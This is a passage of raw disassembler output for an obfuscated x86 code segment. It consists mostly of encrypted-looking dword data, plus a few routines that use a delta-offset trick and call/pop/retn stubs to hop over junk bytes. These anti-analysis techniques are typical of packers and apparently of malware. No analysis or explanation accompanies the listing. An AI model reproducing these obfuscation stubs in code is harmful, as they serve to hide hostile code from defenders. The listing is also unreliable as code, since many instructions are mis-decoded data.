3E85200h, 20000000h, 895AC35Ah dd 81042454h, 15042444h, 42000000h, 0D3CFC352h, 3459BD29h dd 64E907E9h, 0E800000Eh, 0 ; --------------------------------------------------------------------------- pop ebp sub ebp, 7EE510Eh push 0 push ecx call sub_5D8EDA and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D8EDA proc near ; CODE XREF: sdfs____:005D8ED2p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Bh inc ecx push ecx retn sub_5D8EDA endp ; --------------------------------------------------------------------------- dw 3701h dd 0F3048656h, 0F3817B48h, 6C4691D3h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 14h, 0D9C35747h, 1A9D9589h, 858D07E9h dd 7ECB406h, 16719D8Bh, 0BF9007E9h, 717F7048h, 0DA8B6650h dd 53006A90h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h dd 0C3534300h, 5033E961h, 66B62A7Ch, 528858BFh, 0AB99D8Bh dd 645F07E9h, 35FFh, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 150424h, 52420000h, 2957DFC3h, 0E91F0595h dd 4DB58907h, 6407E926h, 2589h, 870F0000h, 6, 23A99D89h dd 85FF07E9h, 7E90F9Dh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 19h, 3BC35646h, 78AAB1ACh, 6AFF6A9Ah, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h dd 0F976C352h, 0E5B58910h, 8B07E91Ch, 0E90E559Dh, 6DB5FF07h dd 8B07E92Ch, 0E930D99Dh, 3D95FF07h, 0E907E923h, 11Ch dd 2EF9BD8Bh, 0B007E9h, 18D59589h, 70E607E9h, 9E8h, 0E5076B00h dd 39A9447h, 0BF669685h, 0E95FE6AAh, 0Ch, 0B600B4F1h, 0FF18A2ACh dd 1651828h, 0D88A71E4h, 830F613Ch, 0DCh, 7119D33h, 0B60F07E9h dd 6D9D8BC8h, 0BA07E930h, 6, 1541BD8Bh, 0C18B07E9h, 0F7E8EB81h dd 0E8C144E6h, 0BE904h, 14DB0000h, 3EA10E7Ch, 0A8EE9A81h dd 0E2F766B3h, 0F25BD8Bh, 0C82B07E9h, 14E9h, 882E800h dd 0E04AE2F9h, 19A5D1D2h, 9B5B8A8Eh, 5DA7B1F3h, 0E9D18BB3h dd 0Bh, 72F1DDC2h, 0BF5B6EFDh, 0E910221Dh, 6Ch, 2EF9BD8Bh dd 8BF907E9h, 5F4C4C85h, 528AB350h, 119BD31h, 835B07E9h dd 816607C0h, 83CDD2F3h, 8B6600C0h, 0FD03BFEh, 983h, 39E9F900h dd 0F000000h, 8D8BDABFh, 0FFFFFFFFh, 18C98D29h, 0E18307E9h dd 21840F01h, 89000000h, 0E916CD8Dh, 0FFA58307h, 0FEFFFFFFh dd 89FAB70Fh, 5F4C4C95h, 2DBD8950h, 0E907E917h, 0 ; --------------------------------------------------------------------------- lea esi, [ebp+7EDCAE3h] mov edi, eax push 0 jmp loc_5D913E ; --------------------------------------------------------------------------- db 9Fh dd 0EB684769h db 0A9h, 0BCh ; --------------------------------------------------------------------------- loc_5D913E: ; CODE XREF: sdfs____:005D9132j call dword ptr [ebp+7E90C31h] mov ecx, 0FB6h mov ebx, 7C3BFEB6h and ecx, 0FFFFFFFCh push 0 push ecx call sub_5D915C and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D915C proc near ; CODE XREF: sdfs____:005D9154p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 16h inc ecx push ecx retn sub_5D915C endp ; --------------------------------------------------------------------------- dd 8BA87EEEh, 0E934399Dh, 6AFC07h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1D0424h, 55450000h, 3C5372C3h, 0FC5B7574h dd 95CEFF6h, 0E91D298Dh, 0AD9D0307h, 2B07E90Eh, 2BFD8AC0h dd 74DCBFD2h, 33AD38F8h, 3E8D1C2h, 4E983D0h, 6AF475h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h dd 9D8B8AC3h, 7E90FE5h, 16119D33h, 880D07E9h, 0F000000h dd 485h, 96BF6600h, 0D958BFCh, 0E907E932h, 6, 8C085FEAh dd 8D8B03D8h, 7E922E5h, 1389BD8Bh, 8B5007E9h, 3188BC2h dd 8B188BC1h, 3E8D1C1h, 58188BC2h, 14E8h, 75C11B00h, 0F40DC726h dd 0AE749F17h, 0B885454Bh, 874B80D6h, 0C38166F3h, 8B5BA461h dd 0E92F3D9Dh, 0FD958907h, 8307E911h, 0E91C2DBDh, 840F0007h dd 96h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h dd 17C35747h, 0B8h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1B04h, 0C3574700h, 0D59DB01h, 522869C6h dd 859BD89h, 8D8D07E9h, 7E94D5Ah, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 19h, 0CEC35646h, 0A1A659E2h, 6AE1FFE6h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1B042444h dd 43000000h, 0B4F6C353h, 0E89E3D6Fh, 0BD83FD7Bh, 7E922B1h dd 0E0840F00h, 0E9000004h, 0Eh, 83381h, 83AAEABAh, 1836D5CAh dd 0BD835133h, 7E922B1h, 0DB840F01h, 6A000004h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h dd 7B4DC355h, 0BBD635A0h, 0EE9BCB8h, 6000000h, 81BBC537h dd 8A5E14EDh, 72FB698Bh, 0FDB5018Fh, 8307E91Dh, 0E922B1BDh dd 860F0307h, 45Ch, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Ch, 0D4C35545h, 558F0858h, 0E1714CC8h, 17119D8Bh dd 810F07E9h, 5, 0F9BF0F50h, 8E0F605Fh, 14h, 0CE8h, 0AD99E000h dd 0E27565C4h, 157FD26Eh, 5F5B53DFh, 8BD98C66h, 0E909719Dh dd 4E18007h, 0FC90AF8h, 15484h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1604h, 0C3524200h, 8B007E16h dd 0E9003D9Dh, 55858B07h, 6007E90Ch, 6870Fh, 9D010000h dd 7E9013Dh, 0E9853361h, 6607E91Ch, 0FD391BFh, 128Bh, 9E800h dd 0EA210000h, 3A15C0EFh, 6666CD7Fh, 905BD88Bh, 0E950D88Bh dd 12h, 5DA15F59h, 0E7D4E15Dh, 6B56EAFh, 81C5458Bh, 6A90D8D7h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 15042444h dd 40000000h, 96EDC350h, 6810Fh, 0B5290000h, 7E90F05h dd 0B58501h, 6A07E9h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 14h, 0CAC35343h, 4B398068h, 840FB3h, 81000000h dd 0CA7F2404h, 6A4CD3h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 140424h, 52420000h, 816652C3h, 8BE681DFh, 0D995FFFBh dd 6A07E902h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 17042444h, 45000000h, 3726C355h, 6E8C665h, 0A9000000h dd 0F5924D0Ah, 459D8BFAh, 5B07E90Bh, 3591BD8Bh, 858907E9h dd 7ECD785h, 34C5BD8Bh, 14E907E9h, 0E9000002h, 9, 0A53FD16Ch dd 4B10A967h, 7D858B77h, 6A07ECD7h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 4BDFC355h dd 1BE75084h, 517EAB9h, 15498D89h, 0C707E9h, 18h, 0EE9h dd 36FD0A00h, 0C9535570h, 7893E758h, 8BEA084Dh, 0ECD781B5h dd 55006A07h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h dd 0C3554500h, 13CC22Fh, 0E935758Dh, 8BFA8B07h, 0E9185985h dd 50006A07h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h dd 0C3504000h, 623013Bh, 0D18D8959h, 0BF07E923h, 41CCC46Eh dd 6A0689h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h dd 55450000h, 3BDDDCC3h, 8BFBBF0Fh, 0E90C5585h, 0DFBF0F07h dd 6A044689h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1C042444h, 47000000h, 0FB5BC357h, 66333754h, 0E830AC0Ch dd 0Bh, 2B12D040h, 462BEC3Ch, 29A9E1B8h, 0E90F7585h, 85095B07h dd 7E91ECDh, 66525096h, 310FF98Bh, 5E9h, 0F6493800h, 585A3092h dd 0FA96BF50h, 0E99667B6h, 14h, 9FD50D2Eh, 0F3478A22h dd 59AD0CBDh, 349D069Fh, 11FF97BDh, 0D77DB5FFh, 6A07ECh dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h dd 2C8AD9C3h, 1CFBE3C7h, 24E9BD89h, 4E807E9h, 0FF000000h dd 0BF001F03h, 5FE52B23h, 0BFDFBF50h, 448B60C3h, 0BB500424h dd 2BDFFE58h, 8A008B5Bh, 244489DDh, 0BD2B5804h, 7E90B05h dd 0D785858Dh, 0B53107ECh, 7E92685h, 0FBB70F60h, 5061FD8Ah dd 7E960h, 0AF180000h, 59977769h, 48961C1h, 53006A24h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h dd 0AA0EA38h, 380EF58Eh, 809BD89h, 95FF07E9h, 7E902D9h dd 0B998D31h, 816607E9h, 61AA1EF3h, 2A319D89h, 665307E9h dd 115CDB81h, 0B185C75Fh, 307E922h, 6A000000h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h dd 0FDFAC355h, 22DD0DA6h, 9D8B5550h, 7E91191h, 1F759589h dd 0BD8307E9h, 7ECD785h, 49840F00h, 6A000000h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h dd 3AE6C357h, 0BD035722h, 7E908C9h, 3AE9h, 51006A00h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h dd 8AE78027h, 110C3050h, 1114400h, 3010E8C1h, 21144h, 5803114Ch dd 7504E983h, 5036EBE7h, 110430h, 0C1011164h, 443010E8h dd 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h dd 44300311h, 28580211h, 30011164h, 0E9831104h, 0EBE77504h dd 6AC08B00h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 18042444h, 43000000h, 0FD3C353h, 665B4539h, 0BD83DE8Bh dd 7E922B1h, 9C850F03h, 66000004h, 0BD83FA8Bh, 7ECD785h dd 8C840F00h, 6A000004h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1C042444h, 42000000h, 0FFB3C352h, 0C146E21Dh dd 8B80DA7Ah, 0E916F1BDh, 6870F07h, 8B000000h, 0E91A199Dh dd 85B5FF07h, 6607ECD7h, 0BE6AF381h, 134995FFh, 0BB6607E9h dd 8953E7A5h, 0E920719Dh, 0B58B5B07h, 7ECD779h, 0C787C780h dd 1000106h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1804h, 0C3504000h, 7A3DF3C7h, 5E92Eh, 0DA7C0000h, 0E82B47F2h dd 0Fh, 2FFA3785h, 0C9C7228Ah, 1BDF55E4h, 663C0E31h, 5BD2B6BBh dd 9E95150h, 0C4000000h, 0E7481F52h, 0C8D7B183h, 2434895Bh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 4AC35343h dd 3F22D243h, 0DEC8B70Ch, 0C99D23A4h, 0FF07E92Ah, 0ECD785B5h dd 7E907h, 3F990000h, 2E832E3Dh, 0B195FF29h, 6A07E91Ah dd 3E85000h, 20000000h, 8958C358h, 81042444h, 19042444h dd 40000000h dd 0B4CEC350h, 0FB7F927h, 79B58BF5h, 6A07ECD7h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h dd 1B7AC351h, 60B3F0C2h, 89D0B70Fh, 0E901418Dh, 858B6107h dd 7E92449h, 0C98BBB66h, 1443E381h, 8689079Ah, 0C4h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 15h, 0E8C35040h, 419D0B58h dd 8B07E921h, 0E9320D95h, 7D9D0B07h, 8307E913h, 6A04C2h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h dd 0C838D9C3h, 76B55ED9h, 8F0FA6A0h, 1, 205089F8h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 0FAC35141h, 0A1858DEBh dd 6A07ECECh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 19042444h, 47000000h, 6D2AC357h, 3263FEh, 0B88689h dd 6AF90000h, 0D8BF0F00h, 0D785B5FFh, 6A07ECh, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h dd 95FF10C3h, 7E902CDh, 89D98B50h, 6A2434h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 170424h, 57470000h, 9C7C22C3h dd 0B59D01EAh, 0FF07E900h, 0ECD785B5h, 50006A07h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h dd 0E86487E6h, 13h, 9C4B37DCh, 0EF2D64ABh, 0B8DA54Dh, 1620A875h dd 0F177682h, 28Fh, 5FB3B300h, 1618589h, 95FF07E9h, 7E9302Dh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 35C35141h dd 0CA5FDCE6h, 0BD838469h, 7E91EC9h, 73840F00h, 0F000000h dd 158Fh, 10E900h, 0F0230000h, 2AAC7E0Ah, 6F853206h, 57F24A04h dd 8950A945h, 6A2434h, 3E850h, 58200000h, 448958C3h, 44810424h dd 180424h, 50400000h, 0F508EEC3h, 9E94358h, 6A000000h dd 0A05456D5h, 6F941A54h, 20820Fh, 890F0000h, 1Ah, 14E8h dd 166B3500h, 0B97AE6ABh, 41753A6Bh, 0EDB1197Eh, 0EA675004h dd 0B5FF5FB5h, 7ECD785h, 0CAEB8166h, 9D95FFE9h, 0FF07E91Fh dd 0ECD785B5h, 0D858907h, 8107E935h, 0A7A45DFh, 3995FF70h dd 6A07E901h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1D042444h, 46000000h, 8427C356h, 0C6C249FCh, 2B52F8D0h dd 11FD8589h, 0BD8307E9h, 7E929CDh, 9E840F02h, 6A000000h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 15042444h dd 46000000h, 0D289C356h, 2A499D33h, 858B07E9h, 7E90875h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 38C35141h dd 70894317h, 0BF66644Eh, 13E9h, 27F45D00h, 440C9EB9h dd 0F5F839A8h, 5EE56CC8h, 2EC5D069h, 0AE9h, 0DF359B00h dd 0A1B023Bh, 0C6481937h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 190424h, 57470000h, 86FE46C3h, 8BF273FCh dd 0E91BB19Dh, 0AD85C707h, 7E924h, 6A000000h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h dd 8977C356h, 0E90BFD85h, 95B58907h, 0E907E90Eh, 0FFFFF2E1h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 7BC35343h dd 10890Fh, 0BE90000h, 0B0000000h, 3F3D560Ch, 4F2CF271h dd 0C18BFFB0h, 6E9h, 0D2E9F00h, 0E9229FD5h, 21h, 0D595FD6h dd 7 dup(0) dd 533E900h, 39D20000h, 0F61AB63Fh, 0A94FE984h, 0A2F25ED7h dd 0E238D20h, 0D069C76Eh, 862F4DE0h, 0F479FB2Ah, 28C5B758h dd 610C6E8Ch, 0AFEFA2FCh, 61286E65h, 0CAC7512Bh, 286E65CAh dd 3290584Ah, 0DFD2A04Ah, 305CC4DFh, 87C7431h, 9F869549h dd 2FAB7B09h, 51C3720Ah, 962FB9BBh, 0C62B441Eh, 0CBC65009h dd 305BF2CBh, 5F935F45h, 0F8D8541h, 5145AD37h, 6E23BDBBh dd 305BF32Eh, 0CDCDBCE6h, 47305BF2h, 6977CF5Dh, 9D1F77DFh dd 4E4E4341h, 3F305BF3h, 534A79C3h, 0F2AFE71Ah, 58E13AECh dd 6CC45AE5h, 0ED6A448h, 0C400A943h, 0FA94436h, 0B31D90E8h dd 0B400DC9Ch, 1007DF5Dh, 749B4DECh, 2DCF6904h, 23ABD165h dd 4FD96F09h, 0ADFD98B6h, 0F931FFE3h, 3DE1FCA5h, 54B8305Ch dd 679C64B5h, 62DA8431h, 0E8000000h, 0AD2A04Ah, 3E44981Ah dd 5CC54B4Bh, 4EDFC530h, 79C8314Bh, 0AB7B098Ah, 5C64B8FAh dd 0B25BBD30h, 0C5C2A944h, 305D5D54h, 0EDB7305Ch, 2BFE7B58h dd 0E404FCCFh, 1628430h, 40000000h, 8D4A64Ah, 3DBFD67Eh dd 2F0B8999h, 0C915678Bh, 0CF17958Dh, 0A7481482h, 48F11DD5h dd 7302789Ch, 0A4492BC1h, 39DC781Eh, 786CEF44h, 0C7551A4Dh dd 298D657Fh, 12AC7004h, 9D5A74Ah, 2E75297Ch, 4DE3245Fh dd 691D31E5h, 5E68B438h, 5C076323h, 61F7AD30h, 2EB873D3h dd 17EF91A6h, 9039A58Dh, 3ABBC154h, 22027C9Eh, 26FE8096h dd 36E38AB6h, 843197BEh, 3ABAEB73h, 0DD10D8EAh, 48h, 0E3A74AE5h dd 45992F49h, 4995E709h, 0B541E80Ch, 0B8700429h, 0F283F91Ch dd 75C9B346h, 0E0A0D16Bh, 30305CC4h, 2128672h, 0CBC80h dd 0DA38B859h, 3BB68430h, 0C000000h, 9D5A74Ah, 72D2AA4Dh dd 28DC7D97h, 44FE7705h, 8D4A64Ah, 5CC53E99h, 0F7811D30h dd 5CC4FABAh, 0A0881A30h, 0CC599D3Ch, 0C51B3312h, 289B57A5h dd 84315FD8h, 116h, 0A44AAC00h, 0EE36B4ECh, 0C4E1A1D0h dd 7133305Ch, 0C5F14DE3h, 0DDF94537h, 981C7539h, 7A9E3A0Ah dd 4F413C00h, 0ADD34CAEh, 4436D80Ch, 80913DA9h, 0C55B25CAh dd 0A0D16B79h, 305CC4E0h, 0EB867230h, 544DDF48h, 37B5ADD9h dd 0DFFB4B59h, 6B2433Dh, 0CBBA8AF4h, 2873AEC9h, 0CE16968Fh dd 300C6E82h, 8674157Bh, 9A5CFD17h, 0FEFCFF03h, 0DD739855h dd 0B34143A3h, 0BFB95347h, 6709A36h, 3446E874h, 0C21EDAE8h dd 0CA1A64F6h, 12276B8Eh, 4C08D46Ah, 1B0CD0AAh, 7C9054F5h dd 971368FEh, 9B5729CFh, 0F812D677h, 7252F77Eh, 8C8C1A22h dd 133h, 37A0B3D6h, 99ADECA5h, 3F6537B5h, 3341EBE7h, 739A3E7Eh dd 6FCBD628h, 4126FE00h, 1426A634h, 9A42D46Ah, 0A32E0A74h dd 0A8A9B43h, 5440A83Ah, 96F82C6h, 73AC1898h, 14AAF828h dd 0F812BE86h, 0AC87077Ah, 1B892873h, 0A2E2B985h, 5123C9FBh dd 0FDD12EC7h, 478B5366h, 75BCFCB5h, 4E542873h, 5AAA1FE2h dd 0DF8C1A2Fh, 824C4C45h, 0DEC42873h, 39DF12h, 0B3EB0000h dd 19B2DBAh, 6DC5B745h, 5CC53C9Ch, 76CED4B0h, 5CC50F8Fh dd 3FDE06B0h, 0DA6CFB0Ch, 5CC507A7h, 75AD0930h, 7BCC61F7h dd 8Fh, 1C9C15AFh, 0F4305CC5h, 0B34042AEh, 0ECA537A0h dd 37B593F1h, 0B703E3C1h, 2EBCDCA5h, 0BCB2EA59h, 733CC5C5h dd 0C7554F28h, 0FA10BC31h, 831AA478h, 0DE845EDh, 2CDD15C9h dd 2873B18Fh, 65B93B6Bh, 68B43869h, 0D31DC65Dh, 4A414257h dd 677832Ah, 0F18B6B12h, 73AD0080h, 4AC8D828h, 2490584Ah dd 96C96416h, 77A0C9Bh, 30664D35h, 7955A9FBh, 715DA1D3h dd 0B479FDDh, 0C24995E7h, 4FFFBA2h, 0DB565900h, 75C7BA4Ch dd 0BB2877EDh, 0B3FE44E9h, 0ECA537A0h, 384F645Ah, 15D4CBD6h dd 54945061h, 5C66BE3Ch, 0E8E438CEh, 13BD3042h, 19A77FF9h dd 0DB35D28Ch, 0DC95EDFh, 31B393E9h, 0F74208F9h, 17873298h dd 1DD5574Fh, 7E9C48F1h, 0F80989F8h, 990B1DB6h, 0F812920Fh dd 0A0021DB6h, 1B316312h, 53FB8559h, 6563C3BDh, 0B6F86C2Ch dd 68FEA41Dh, 7EFC1480h, 0AE4F71A6h, 0BCA1D07Ah, 95987162h dd 0DD49E47Ah, 5F4E4E43h, 0DCC61DB7h, 0E88AA014h, 0CA314h dd 54C30000h, 2C823BD2h, 2137178Bh, 0A14AFBC9h, 0A9430FD7h dd 0B45B77CFh, 455C78C4h, 0BE537FC7h, 0C76A66BEh, 356D69B5h dd 0CD636FB7h, 0D36753B3h, 685E55A9h, 4D41h, 89242C89h dd 4C581E5h, 83000000h, 2C8704EDh, 71685C24h, 8900007Ah dd 0F682414h, 89000055h, 0B850241Ch, 5E104438h, 3501E883h dd 3E396C61h, 0C5374205h, 58C289A7h, 4EC81h, 24890000h dd 24048124h, 4, 4825685Bh, 14890000h, 24048124h, 7CB477A9h dd 8108438Fh, 77A9086Bh, 1C8B7CB4h, 0E3895324h, 4C381h dd 0C3830000h, 241C8704h, 2434FF5Ch, 4C4815Ah, 0E9000000h dd 0FFFB16FAh, 6441B8F0h, 0C50307EEh, 0AB9EE0FFh, 0B2E12918h dd 0EBD74308h, 0E6B80DE3h, 79185049h, 54D53B30h, 0E47C6934h dd 547952D3h, 0B9BD4B77h, 9ACA1978h, 98CF4775h, 5A1C79E0h dd 919C4F84h, 78A614Bh, 26B1613Fh, 858D2E68h, 7E90861h dd 169D9D03h, 8A9007E9h, 0F99050FDh, 561FF781h, 6A6C49h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 3CC35242h dd 9D896A5Fh, 7E93535h, 858D006Ah, 7EE66D7h, 6AD567BFh dd 5C0834Ah, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 19h, 51C35242h, 89E31D86h, 6810FD0h, 89000000h, 0E900F19Dh dd 0BFBF5007h, 89533739h, 8B662404h, 6A006AF9h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h dd 8A84C353h, 850916E9h, 7E9200Dh, 8B60006Ah, 0E90749B5h dd 39852907h, 6107E92Ah, 0FB995FFh, 6A07E9h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1C0424h, 50400000h, 9BB0DC3h dd 5F5FD72Eh, 0BD8BC857h, 7E90F41h, 0D72C8D8Dh, 8B6007ECh dd 0E92275B5h, 0F19D8907h, 6107E92Fh, 9D89D1FFh, 7E92B41h dd 1B69BD83h, 0F0107E9h, 0B085h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1D04h, 0C3524200h, 5800F6F7h dd 0FDBDAAE4h, 8B669A9Fh, 89026AF8h, 0E90F618Dh, 0D88B9007h dd 52506050h, 5E8h, 4B84D400h, 0F5BC5ABh, 0F525031h, 5A585A31h dd 0D08B6658h, 12E89061h, 0C3000000h, 96B0301Ch, 0FCC79F60h dd 7203B922h, 0FDA4C207h, 0EE8A0h, 0FC7B0000h, 0E9B2D496h dd 0E642772Eh, 9CAA3D23h, 9E9h, 0B7AF6600h, 0BB61BC75h dd 5B5F1EADh, 2CD95FFh, 6A07E9h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 150424h, 57470000h, 8AD623C3h, 0CCEE9D9h dd 0E80000h, 5D000000h, 66E1ED81h, 6A07EEh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 484A5AC3h dd 74651DA8h, 5FF853FCh, 0B406858Dh, 0F6007ECh, 8D89D0B7h dd 7E90335h, 4895061h, 0B9853124h, 6407E912h, 35FFh, 0BD2B0000h dd 7E93489h, 258964h, 0B000000h, 0E900E1BDh, 19D8B07h dd 0FF07E901h, 0E90F9D85h, 51006A07h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1D04h, 0C3514100h, 9D3384FCh dd 0DB48D3DFh, 9E9E5B6h, 8000000h, 459FEE9Bh, 47A7CBA1h dd 0AE9h, 5B558800h, 0BB029B9Ch, 6A45C334h dd 0FA8B66FFh, 2279B5FFh, 0F98B07E9h, 233D95FFh, 34E907E9h dd 89000001h, 0E92101BDh, 0F00B007h, 68Ah, 0FECB8100h dd 0E67BF147h, 659D8B70h, 0E407E931h, 0E7816671h, 613C5F07h dd 109830Fh, 0E0B30000h, 52C8B60Fh, 11DD9D8Bh, 0BA5B07E9h dd 6, 7541DF81h, 0C18B4C51h, 0E7EF8166h, 4E8C1AEh, 1AEFEF81h dd 0BE966EBh, 0E4000000h, 0B5068728h, 9360FAAEh, 0F7662543h dd 0E1BD33E2h, 2B07E929h, 18589C8h, 8B07E91Dh, 0FE8D1h dd 60B00000h, 0EBD71A29h, 35782B3Eh, 0A9C7421Eh, 5FD98BB0h dd 0A2E9h, 11E800h, 14250000h, 1CE6F556h, 0BEB1F805h, 0C7C806E0h dd 0FC5254Fh, 684h, 840F00h, 5B000000h, 5E9h, 5412BB00h dd 858B6FCCh, 4947554Ch, 8D38166h, 7C0838Eh, 0C6816660h dd 8361D177h, 0FE8B00C0h, 830FD03Bh, 14h, 0F5EDF81h, 8D897D5Bh dd 7E92269h, 42E9h, 7BEB8000h, 0FFFF8D8Bh, 0DF8BFFFFh dd 0F01E183h, 2E84h, 7E800h, 9ECB0000h, 0E61B9E2Eh, 0DBB70F2Ah dd 0FFA5835Bh, 0FEFFFFFFh, 0D390D381h, 958901A1h, 4947554Ch dd 2C8D9D8Bh, 0E907E9h, 8D000000h, 0EDDA99B5h, 53006A07h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h dd 0D1600813h, 7126F7CBh, 0B2D9D8Bh, 6A07E9h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0DCC35747h, 0EC218E7Eh dd 0BE8DEh, 0E97A0000h, 57B10326h, 23ABB93Ah, 0BD9D8B70h dd 5F07E92Fh, 16299D23h, 95FF07E9h, 7E90C31h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0BBC35545h, 33B8D88Bh dd 9F49E71h, 0E9092DBDh, 10B0B907h, 0B3BB0000h, 835C1BA3h dd 8B66FCE1h, 6AFCFBh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1C0424h, 56460000h, 0E7C477C3h, 0D3C0BDDFh, 0C02B625Bh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 9BC35141h dd 0B858A47Fh, 0FC247B3h, 1C83h, 168D0F00h, 0E9000000h dd 11h, 84C9A72Dh, 51ACDBAEh, 0A0298CDh, 0D2AD27E8h, 2BFD8A7Ch dd 53006AD2h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h dd 0C3534300h, 36656761h, 0E999F068h, 6, 0C1C05B59h, 33AD97ACh dd 3E8D1C2h, 4E983D0h, 0BD89F475h, 7E91FE5h, 0DDEB70Fh dd 88h, 210D9D89h, 958B07E9h, 7E9320Dh, 10E9h, 0A2D3F900h dd 7F1F8C5h, 91A4665Bh, 0E386BFFEh, 0E58D8B68h, 6607E922h dd 77D7C781h, 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h dd 0DF8B5818h, 1C2DBD83h, 0F0007E9h, 6184h, 9E900h, 58620000h dd 16EEE0D6h, 0B80F7570h, 0 ; --------------------------------------------------------------------------- push 0 push ebx call sub_5DA867 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5DA867 proc near ; CODE XREF: sdfs____:005DA85Fp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 19h inc ebx push ebx retn sub_5DA867 endp ; --------------------------------------------------------------------------- db 0B1h ; --------------------------------------------------------------------------- fild word ptr [edi-7FEF3129h] retf ; --------------------------------------------------------------------------- db 6Ch ; --------------------------------------------------------------------------- sbb di, 27B6h lea ecx, [ebp+7E94D5Ah] jmp loc_5DA8A3 ; --------------------------------------------------------------------------- dd 0D3F7EE83h, 0A37E0B20h, 4160984Bh, 0B98BBA03h db 7Ah, 62h, 3Eh ; --------------------------------------------------------------------------- loc_5DA8A3: ; CODE XREF: sdfs____:005DA88Bj jmp ecx ; --------------------------------------------------------------------------- mov edi, 1A03CDE7h cmp dword ptr [ebp+7E922B1h], 0 jz loc_5DACA4 stc cmp dword ptr [ebp+7E922B1h], 1 jz loc_5DACBF push 0 push esi call sub_5DA8D0 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5DA8D0 proc near ; CODE XREF: sdfs____:005DA8C8p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 19h inc esi push esi retn sub_5DA8D0 endp ; --------------------------------------------------------------------------- dd 8C89C762h, 0BD834F6Bh, 7E922B1h, 96860F03h, 6A000003h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 15042444h dd 46000000h, 0FAE7C356h, 4EEF8166h, 6A60A2h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 14708FC3h dd 8010D8F3h, 0F8D21EC5h, 6AD98C66h, 3E85300h, 20000000h dd 